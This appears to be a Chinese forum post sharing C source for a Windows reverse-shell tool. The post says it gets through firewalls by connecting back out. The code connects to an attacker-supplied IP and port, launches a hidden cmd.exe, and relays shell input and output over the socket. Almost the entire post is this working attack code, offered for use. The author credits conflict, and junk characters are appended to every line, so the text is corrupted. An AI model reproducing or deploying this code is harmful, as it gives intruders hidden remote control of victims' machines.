这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9s73mu`Twg
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/* ============================== 'bY^=9&|
Rebound port in Windows NT }YU#}Ip@
By wind,2006/7 Arir=q^2
===============================*/ L@CN0ezQs
#include ^yy\CtG
#include 7fI[yCh
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#pragma comment(lib,"wsock32.lib") YwoytoXK
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void OutputShell(); aNn < NW
SOCKET sClient; gWy2$)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &m>`+uVBP
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void main(int argc,char **argv) bxkp9o
{ Y)c9]1qly
WSADATA stWsaData; [NeOd77y
int nRet; u\Fq\_
SOCKADDR_IN stSaiClient,stSaiServer; \{{B57/Isq
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if(argc != 3) nHD4J;l
{ k/?+jb
printf("Useage:\n\rRebound DestIP DestPort\n"); YXrTm[P
return; vq( @B
} d!G%n
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WSAStartup(MAKEWORD(2,2),&stWsaData); xzW]D0o0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z}8rD}BH
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stSaiClient.sin_family = AF_INET; ^YenS6`F
stSaiClient.sin_port = htons(0); j\@s pbE@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9Hlu%R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )l[ +7
{ hkHMBsNi
printf("Bind Socket Failed!\n"); yK"U:X
return; 7"
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} F~W*"i+EZ
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stSaiServer.sin_family = AF_INET; -("79v>#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1swh7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); il5WLi;{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {YK6IgEsJe
{ 5 xTm]
printf("Connect Error!"); N<"_5
return; ,0lRs
} sl |S9Ix
OutputShell(); akJ{-
} KW+^9&lA
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void OutputShell() =*"Amd,
{ $AG.<
char szBuff[1024]; t~sW]<qjp
SECURITY_ATTRIBUTES stSecurityAttributes; ,dZ
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OSVERSIONINFO stOsversionInfo; 2rPKZ|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a^4(7
STARTUPINFO stStartupInfo; JXUO?9
char *szShell; n9cWvy&f
PROCESS_INFORMATION stProcessInformation; 8ru@ 8|r
unsigned long lBytesRead; 4J94iI>S.l
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sDJ5'ul
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K# _plpr
stSecurityAttributes.lpSecurityDescriptor = 0; n$#^gzU4
stSecurityAttributes.bInheritHandle = TRUE; h>bmHQ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yMX4 f
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nez5z:7F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6kIq6rWF9
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1REq.%/=
stStartupInfo.wShowWindow = SW_HIDE; 2HQHC]
stStartupInfo.hStdInput = hReadPipe; \f /<#'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \Cx3^
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GetVersionEx(&stOsversionInfo); UT[KwM{y
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switch(stOsversionInfo.dwPlatformId) Ij#%Qu
{ e5veq!*C?
case 1: Ix1ec^?f
szShell = "command.com"; LNg[fF^:
break; CZwZ#WV6
default: eYsO%y\I
szShell = "cmd.exe"; :Tj,;0#/
break; VMen:
} ap;*qiNFQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j
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send(sClient,szMsg,77,0); d*q_DV
while(1) $Fd9iJ!k
{ BMFpkK9|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {&K#~[)
if(lBytesRead) 3z~zcQ^\
{ /\#qz.c2K
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CHBCi) '6h
send(sClient,szBuff,lBytesRead,0); Q#:,s8TW[
} ~^Vt)/}Q
else kw=+"U
{ ,YH^jc
lBytesRead=recv(sClient,szBuff,1024,0); <=19KSGFt
if(lBytesRead<=0) break; TioI$?l>W(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M%9PVePOe
} ShGR!r<
} 8?I(wn
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return; '1.T-.4>&
}